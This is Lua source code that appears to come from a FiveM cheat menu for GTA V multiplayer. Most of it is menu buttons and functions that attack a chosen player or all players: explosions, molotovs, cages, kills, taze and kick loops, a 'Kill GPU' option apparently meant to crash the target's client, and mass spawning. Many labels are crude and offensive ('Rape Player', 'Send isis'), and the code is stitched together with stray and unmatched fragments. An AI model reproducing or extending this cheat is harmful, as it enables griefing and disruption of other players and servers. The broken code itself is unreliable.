if CockMenu.Main.Checkbox('Extended Magazine',0.425,
0.64, Cock.Menu.ExtendedMag, false) then
Cock.Menu.ExtendedMag = not Cock.Menu.ExtendedMag
if Cock.Menu.ExtendedMag then
CockT.Global.GiveWeaponComponentToPed(0x249A17D5)
CockT.Global.GiveWeaponComponentToPed(0x64F9C62B)
CockT.Global.GiveWeaponComponentToPed(0x7B0033B3)
CockT.Global.GiveWeaponComponentToPed(0x7C8BD10E)
CockT.Global.GiveWeaponComponentToPed(0x86BD7F72)
CockT.Global.GiveWeaponComponentToPed(0x8EC1C979)
CockT.Global.GiveWeaponComponentToPed(0xB3688B0F)
CockT.Global.GiveWeaponComponentToPed(0xD6C59CD6)
CockT.Global.GiveWeaponComponentToPed(0xED265A1C)
CockT.Global.GiveWeaponComponentToPed(0xD67B4F2D)
CockT.Global.GiveWeaponComponentToPed(0xD9D3AC92)
CockT.Global.GiveWeaponComponentToPed(0x33BA12E8)
CockT.Global.GiveWeaponComponentToPed(0x10E6BA2B)
CockT.Global.GiveWeaponComponentToPed(0x350966FB)
CockT.Global.GiveWeaponComponentToPed(0xBB46E417)
CockT.Global.GiveWeaponComponentToPed(0x334A5203)
CockT.Global.GiveWeaponComponentToPed(0x82158B47)
CockT.Global.GiveWeaponComponentToPed(0xEAC8C270)
CockT.Global.GiveWeaponComponentToPed(0xB1214F9B)
CockT.Global.GiveWeaponComponentToPed(0x91109691)
CockT.Global.GiveWeaponComponentToPed(0xCCFD2AC5)
CockT.Global.GiveWeaponComponentToPed(0x971CF6FD)
else
CockT.Global.RemoveWeaponComponentFromPed(0x249A17D5)
CockT.Global.RemoveWeaponComponentFromPed(0x64F9C62B)
CockT.Global.RemoveWeaponComponentFromPed(0x7B0033B3)
CockT.Global.RemoveWeaponComponentFromPed(0x7C8BD10E)
CockT.Global.RemoveWeaponComponentFromPed(0x86BD7F72)
CockT.Global.RemoveWeaponComponentFromPed(0x8EC1C979)
CockT.Global.RemoveWeaponComponentFromPed(0xB3688B0F)
CockT.Global.RemoveWeaponComponentFromPed(0xD6C59CD6)
CockT.Global.RemoveWeaponComponentFromPed(0xED265A1C)
CockT.Global.RemoveWeaponComponentFromPed(0xD67B4F2D)
CockT.Global.RemoveWeaponComponentFromPed(0xD9D3AC92)
CockT.Global.RemoveWeaponComponentFromPed(0x33BA12E8)
CockT.Global.RemoveWeaponComponentFromPed(0x10E6BA2B)
CockT.Global.RemoveWeaponComponentFromPed(0x350966FB)
CockT.Global.RemoveWeaponComponentFromPed(0xBB46E417)
CockT.Global.RemoveWeaponComponentFromPed(0x334A5203)
CockT.Global.RemoveWeaponComponentFromPed(0x82158B47)
CockT.Global.RemoveWeaponComponentFromPed(0xEAC8C270)
CockT.Global.RemoveWeaponComponentFromPed(0xB1214F9B)
CockT.Global.RemoveWeaponComponentFromPed(0x91109691)
CockT.Global.RemoveWeaponComponentFromPed(0xCCFD2AC5)
CockT.Global.RemoveWeaponComponentFromPed(0x971CF6FD)
end
end
end
CockT.Global.CopyOutfit(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Explode', 0.422, scroll,
false, true) then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)), Cock.Sliders['ExplodeType'].value, 100.0, Cock.Menu.IsAudible,
Cock.Menu.IsInvisible, 0.0)
end
end scroll = scroll + 0.01
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
CockMenu.Main.Slider('', 0.5, scroll,
Cock.Sliders['ExplodeType'], 143, 240, 249)
end scroll = scroll + 0.03
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Audible',0.425, scroll,
Cock.Menu.IsAudible, false) then
Cock.Menu.IsAudible = not Cock.Menu.IsAudible
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Invisible',0.425, scroll,
Cock.Menu.IsInvisible, false) then
Cock.Menu.IsInvisible = not
Cock.Menu.IsInvisible
end
end scroll = scroll + 0.005
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Molotov Player', 0.422,
scroll, false, true) then
CockT.Global.MolotovPlayer(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Cage Player', 0.422,
scroll, false, true) then
CockT.Global.CageNew(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Rape Player', 0.422,
scroll, false, true) then
CockT.Global.RapeP(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Clone Player', 0.422,
scroll, false, true) then
CockMenu.Main.ShitRain(CockT.Global.SelectedPlayer, 'pounder', 5)
CockMenu.Main.ShitRain(CockT.Global.SelectedPlayer, 'adder', 5)
CockMenu.Main.ShitRain(CockT.Global.SelectedPlayer, 'Submersible', 5)
CockMenu.Main.ShitRain(CockT.Global.SelectedPlayer, 'cutter', 5)
CockMenu.Main.ShitRain(CockT.Global.SelectedPlayer, 'faggio3', 5)
end
end scroll = scroll + 0.015
CockT.Global.TazePlayer(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Sirens on player', 0.422,
scroll, false, true) then
CockMenu.Main.SirensOnPlayer(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Kill player', 0.422,
scroll, false, true) then
CockMenu.Main.KillPlayer(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
CockT.Global.KickFromVehicle(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Custom prop', 0.422,
scroll, false, true) then
local object = Functions.f.CustomInput("Custom
prop name", "prop_beach_fire", 25)
CockT.Global.CustomProp(object,
CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Give all weapons', 0.422,
scroll, false, true) then
for weapo = 1, #CockT.Weapons do
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetHashKey("WEAPON_" .. CockT.Weapons[weapo]), 150, false)
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Remove all weapons', 0.422,
scroll, false, true) then
for weapo = 1, #CockT.Weapons do
Fatasf.n.RemoveWeaponFromPed(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetHashKey(weapo))
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Give weapon', 0.422,
scroll, false, true) then
local weapon = Functions.f.CustomInput("Weapon
To Spawn", "weapon_pistol", 30)
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetHashKey(weapon), 255, false)
end
end scroll = scroll + 0.015
if Cock.Menu.plantthebomb then
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
false)) then
--[[ local bomb =
Fatasf.n.CreateAnDui("https://cock.menu/music/bombhasbeenplanted.mp3", 1, 1, 1)
CockT.Inv["Wait"](1600)
Fatasf.n.DestroyDui(bomb) ]]
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.AddExplosion(coords.x,
coords.y, coords.z, 5, 100.0, true, false, 0.0)
end
end
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Fuck vehicle', 0.422,
scroll, false, true) then
Functions.f.FuckVehicle(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Spawn bitch in player
vehicle', 0.422, scroll, false, true) then
CockMenu.Main.SpawnBitch(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
CockT.Global.SpawnKillingMexico(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Unex devs on player',
0.422, scroll, false, true) then
CockT.Global.UnexOnPlayer(CockT.Global.SelectedPlayer, 10)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Kill GPU', 0.422, scroll,
false, true) then
Functions.f.KIllGpu(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Bug player vehicle', 0.422,
scroll, false, true) then
Functions.f.BugPlayerVeh(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Ram player', 0.422, scroll,
false, true) then
Functions.f.GetRamedByVehicle('rumpo',
CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.025
Fatasf.n.DeleteEntity(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global
.SelectedPlayer)))
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Spawn explosive men',
0.422, scroll, false, true) then
CockT.Global.MiddleFinger(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Send isis', 0.422, scroll,
false, true) then
CockT.Global.isisattack(Fatasf.n.GetEntityCoords(GetPlayerPed(CockT.Global.Selected
Player)))
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Warp vehicle', 0.422,
scroll, false, true) then
CockT.Global.WarpVehicle(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('PP on head', 0.422, scroll,
false, true) then
CockT.Global.PPonHead(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Fuck player engine', 0.422,
scroll, false, true) then
CockT.Global.FuckPlayerEngine(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.025
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('SpaceX',0.425, scroll,
Cock.Menu.LaunchPlayer, false) then
Cock.Menu.LaunchPlayer = not
Cock.Menu.LaunchPlayer
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('SpaceX2',0.425, scroll,
Cock.Menu.SpaceX2, false) then
Cock.Menu.SpaceX2 = not Cock.Menu.SpaceX2
end
end scroll = scroll + 0.005
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Spawn Hitman', 0.422,
scroll, false, true) then
CockT.Global.Hitman(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Give own army', 0.422,
scroll, false, true) then
CockT.Global.GivePlayerArmy(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Do gangbang', 0.422,
scroll, false, true) then
CockT.Global.DoGangbangPlayer(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Button('Custom particle', 0.422,
scroll, false, true) then
CockT.Global.PlayCustompParticle(CockT.Global.SelectedPlayer)
end
end scroll = scroll + 0.025
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Give player explosive
ammo',0.425, scroll, Cock.Menu.giveexplosiveammo, false) then
Cock.Menu.giveexplosiveammo = not
Cock.Menu.giveexplosiveammo
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Give player molotov
ammo',0.425, scroll, Cock.Menu.givemolotovammo, false) then
Cock.Menu.givemolotovammo = not
Cock.Menu.givemolotovammo
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Give player prop
ammo',0.425, scroll, Cock.Menu.givepropammo, false) then
Cock.Menu.givepropammo = not
Cock.Menu.givepropammo
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Taze loop',0.425, scroll,
Cock.Menu.tazeloop, false) then
Cock.Menu.tazeloop = not Cock.Menu.tazeloop
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Kick from vehicle
loop',0.425, scroll, Cock.Menu.kickfromveh, false) then
Cock.Menu.kickfromveh = not
Cock.Menu.kickfromveh
end
end scroll = scroll + 0.015
if scroll >= 0.37 and scroll <= 0.7 - 0.015 then
if CockMenu.Main.Checkbox('Ear Rape',0.425, scroll,
Cock.Menu.earrape, false) then
Cock.Menu.earrape = not Cock.Menu.earrape
end
end scroll = scroll + 0.015
end
end,
BurnPlayerCar = function(player)
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
CockT.Inv["Wait"](10)
end
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
false)) then
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire",Fatasf.n.Ge
tEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)),0,0,0,1.0,0,0,0)
end
end,
SetModelPls = function(model)
Fatasf.n.RequestModel(model)
while not Fatasf.n.HasModelLoaded(model) do
CockT.Inv["Wait"](1)
end
CockT.Inv["Invoke"](CockT.Natives['SetPlayerModel'],
Fatasf.n.PlayerId(), Fatasf.n.GetHashKey(model))
end,
SpawnBitch = function(playerped)
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(playerped),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(playerped), false)) then
local veh =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.GetPlayerPed(playerped))
local model = Fatasf.n.GetHashKey("s_f_y_stripper_01")
Fatasf.n.RequestModel(model)
while not Fatasf.n.HasModelLoaded(model) do
CockT.Inv["Wait"](1)
end
local cpiv = Fatasf.n.CreatePedInsideVehicle(veh, 4,
model, 0, true, false)
end
end,
DragBar = function()
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
if Cock.Menu.dragging_allowed then
Cock.Menu.MenuX = c_x + _x
Cock.Menu.MenuY = c_y + _y
end
if Cock.Menu.dragging_allowed2 then
Cock.Menu.MenuX2 = c_x + _x2
Cock.Menu.MenuY2 = c_y + _y2
end
end,
return length
end,
SirensOnPlayer = function(player)
CockT.Inv['Thread'](function()
local kx = Fatasf.n.GetHashKey('police')
Fatasf.n.RequestModel(kx)
while not Fatasf.n.HasModelLoaded(kx) do
CockT.Inv["Wait"](0)
end
local k = Fatasf.n.CreateVehicle(kx,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 1, 1, 1)
while true do
CockT.Inv["Wait"](0)
local PoliceAnnoying = true
if PoliceAnnoying then
coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player))
Fatasf.n.SetEntityVisible(k, false, false)
Fatasf.n.SetEntityCoords(k, coords.x, coords.y,
coords.z + 5)
Fatasf.n.SetVehicleEngineOn(k, true, true, true)
Fatasf.n.TriggerSiren(k)
Fatasf.n.SetVehicleSiren(k, true)
end
end
end)
end,
cockplate = function()
local car =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(),false)
if car ~= 0 then
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," C")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," CO")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COC")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"COCK M")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"OCK ME")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"CK MEN")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"K MENU")
end
end,
DrawBorderedRect = function(x, y, w, h, colour)
Fatasf.n.DrawRect(x, y - (h / 2), w, 0.001, colour.r,
colour.g, colour.b, colour.a)
Fatasf.n.DrawRect(x, y + (h / 2), w, 0.001, colour.r,
colour.g, colour.b, colour.a)
Fatasf.n.DrawRect((x - (w / 2)), y, 0.0005, h, colour.r,
colour.g, colour.b, colour.a)
Fatasf.n.DrawRect((x + (w / 2)), y, 0.0005, h, colour.r,
colour.g, colour.b, colour.a)
end,
ComboButton = function(text, x, y, _outl)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
if tab == id then
end
drag_x2 = Cock.Menu.MenuX2-0.5
drag_y2 = Cock.Menu.MenuY2-0.5
if( (c_x) + 0.013 >= x+drag_x2 and (c_x) - 0.03 <= x+drag_x2
and (c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.005 <= y+drag_y2) then
Fatasf.n.SetTextColour(Cock.Sliders['MainR'].value,
Cock.Sliders['MainG'].value, Cock.Sliders['MainB'].value,
Cock.Sliders['MainA'].value)
CockT.Global.DrawText(text, x+drag_x2+0.012, y+drag_y2,
_outl, 0.3, 4, false)
else
CockT.Global.DrawText(text, x+drag_x2+0.012, y+drag_y2,
_outl, 0.3, 4, false)
end
if( (c_x) + 0.013 >= x+drag_x2 and (c_x) - 0.03 <= x+drag_x2
and (c_y) + 0.01 >= y+drag_y2 and (c_y) - 0.005 <= y+drag_y2) and
Fatasf.n.IsDisabledControlJustReleased(0, 92) then
return true
else
return false
end
end,
OnlineButton = function(x, y, _outl, id, name)
local x = x+drag_x2
local y = y+drag_y2
CockT.Global.DrawText("ID: "..id.." | "..name, x, y-0.01,
_outl, 0.3, 4, true)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
if name ==
Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer) then
Fatasf.n.DrawRect(x, y, 0.1, 0.017, 35, 35, 35, 255)
else
Fatasf.n.DrawRect(x, y, 0.1, 0.017, 15, 15, 15, 255)
end
if( (c_x) + 0.03 >= x and (c_x) - 0.03 <= x and (c_y) +
0.012 >= y and (c_y) - 0.012 <= y and Fatasf.n.IsDisabledControlJustReleased(0,
92)) then
return true
else
return false
end
end,
if Fatasf.n.DoesEntityExist(vehicle) then
local coords =
Fatasf.n.GetBlipInfoIdCoord(Fatasf.n.GetFirstBlipInfoId(8))
Fatasf.n.SetDriveTaskDrivingStyle(Fatasf.n.PlayerPedId(), 263100)
Fatasf.n.SetPedKeepTask(Fatasf.n.PlayerPedId(),
true)
while Cock.Menu.DriveToWaypoint do
CockT.Inv["Wait"](0)
Fatasf.n.SetEntityMaxSpeed(vehicle,
(maxspeed + 1) / 3.6)
if Fatasf.n.GetPedInVehicleSeat(vehicle, -1)
== Fatasf.n.PlayerPedId() then
if
Fatasf.n.GetDistanceBetweenCoords(coords,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), false) <= 25.0 then
Cock.Menu.DriveToWaypoint = false
Fatasf.n.ClearPedTasks(Fatasf.n.PlayerPedId())
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
else
Cock.Menu.DriveToWaypoint = false
end
end
Fatasf.n.ClearPedTasks(Fatasf.n.PlayerPedId())
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
Fatasf.n.SetEntityMaxSpeed(vehicle,
GetVehicleMaxSpeed(vehicle))
end
end,
RGBPicker = function(okv)
if CockT.RGBPicker['Style'].value == 'orange-red-yellow'
then
Red = 150
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = 0
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 150,CockT.Math.floor(colour / 0.8), 0, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'blue-black' then
Red = 0
Green = 0
Blue = CockT.Math.floor(CockT.RGBPicker['value'].value_2
/ 2)
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 0, 0,CockT.Math.floor(colour / 2), 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'red-black' then
Red =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Green = 0
Blue = 0
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2,CockT.Math.floor(colour / 0.8), 0, 0, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'yellow-black' then
Red =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = 0
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2,CockT.Math.floor(colour / 0.8),CockT.Math.floor(colour / 0.8), 0, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'aqua-black' then
Red = 0
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = CockT.Math.floor(CockT.RGBPicker['value'].value_2
/ 0.8)
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 0,CockT.Math.floor(colour / 0.8),CockT.Math.floor(colour / 0.8), 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'green-black' then
Red = 0
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = 0
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 0, colour, 0, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'white-black' then
Red =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = CockT.Math.floor(CockT.RGBPicker['value'].value_2
/ 0.8)
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, colour, colour, colour, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'pink-orange' then
Red = 255
Green = 51
Blue = CockT.Math.floor(CockT.RGBPicker['value'].value_2
/ 0.8)
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 255, 51, colour, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'green-black' then
Red = 0
Green =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Blue = 0
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, 0, colour, 0, 255)
colour = colour + 2
end
elseif CockT.RGBPicker['Style'].value == 'pink-dblue' then
Red =
CockT.Math.floor(CockT.RGBPicker['value'].value_2 / 0.8)
Green = 15
Blue = 55
colour = 1
for i = 1, 110 do
Fatasf.n.DrawRect(0.435 + (i / 1000), 0.5, 0.005,
0.2, colour, 15, 55, 255)
colour = colour + 2
end
end
if ShowList then
--next line
TpToWaypoint = function()
wp = Fatasf.n.GetFirstBlipInfoId(8)
if Fatasf.n.DoesBlipExist(wp) then
wpC = Fatasf.n.GetBlipInfoIdCoord(wp)
for cc = 1, 1000 do
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
gZ, zPos = Fatasf.n.GetGroundZFor_3dCoord(wpC["x"],
wpC["y"], cc + 0.0)
if gZ then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
break
end
CockT.Inv["Wait"](0)
end
end
end,
EnableAllEngines = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, true, true, true)
end
end,
EnableAllSirens = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, true, true, true)
Fatasf.n.TriggerSiren(vehicle)
Fatasf.n.SetVehicleSiren(vehicle, true)
end
end,
TugAllPlayers = function()
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(i)
coords = Fatasf.n.GetEntityCoords(ped)
while not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey("tug")) do
Fatasf.n.RequestModel(Fatasf.n.GetHashKey("tug"))
CockT.Inv["Wait"](1)
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey("tug"), coords.x, coords.y, coords.z,
90.0, 1, 1)
end
end,
killallpeds = function()
for peds in Fatasf.n.EnumeratePeds() do
if
Fatasf.n.IsPedAPlayer(peds) ~= true and
peds ~= Fatasf.n.PlayerPedId()
then
Fatasf.n.RequestControlOnce(peds)
Fatasf.n.SetEntityHealth(peds, 0)
end
end
end,
return CockT.Math.tonumber(CockT.Strings.format("%.2f",
coord))
end,
Cage = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
local coords = Fatasf.n.GetEntityCoords(ped)
local inveh = Fatasf.n.IsPedInAnyVehicle(ped)
if inveh then
obj =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z - 1.5,
0,
1,
1
)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z + 1.3,
0,
1,
1
)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
else
obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj, true)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
